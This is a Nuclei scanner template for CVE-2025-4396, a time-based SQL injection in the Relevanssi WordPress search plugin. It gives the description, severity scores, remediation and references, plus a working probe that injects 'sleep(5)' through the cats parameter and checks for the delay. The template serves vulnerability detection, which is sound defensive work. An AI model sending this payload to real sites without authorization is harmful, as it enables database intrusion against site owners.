id: CVE-2025-4396

info:
  name: Relevanssi <= 4.24.4 (Free) - Unauthenticated SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    The Relevanssi – A Better Search plugin for WordPress is vulnerable to time-based SQL Injection via the cats and tags query parameters in all versions up to, and including, 4.24.4 (Free) and <= 2.27.4 (Premium) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries to already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can extract sensitive database information through time-based SQL injection in the cats and tags search parameters.
  remediation: |
    Upgrade Relevanssi WordPress plugin to version 4.24.5 or later that properly escapes SQL query parameters.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/detail/relevanssi-4244-free-and-2274-premium-unauthenticated-sql-injection
    - https://plugins.trac.wordpress.org/browser/relevanssi/tags/4.24.4/lib/search-tax-query.php#L371
    - https://plugins.trac.wordpress.org/browser/relevanssi/tags/4.24.4/lib/search-tax-query.php#L409
    - https://plugins.trac.wordpress.org/browser/relevanssi/tags/4.24.4/lib/search.php#L1016
    - https://plugins.trac.wordpress.org/browser/relevanssi/tags/4.24.4/lib/search.php#L982
  classification:
    epss-score: 0.02626
    epss-percentile: 0.83973
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-4396
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/relevanssi/"
  tags: cve,cve2025,wordpress,wp-plugin,wp,relevanssi,time-based-sqli,vuln,vkev

http:
  - raw:
      - |
        @timeout: 30s
        GET /?s={{randstr}}&cats=1*sleep(5) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=5'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "relevanssi")'
        condition: and
# digest: 4a0a00473045022014bdc3408ffb08eff65e5264cf99445da90d056e7d69518db9bbad2e0877fd140221009820c1530cc6724a943551f1207a7072467665ff627bf9208be00f1391e1ceaa:922c64590222798bb761d5b6d8e72950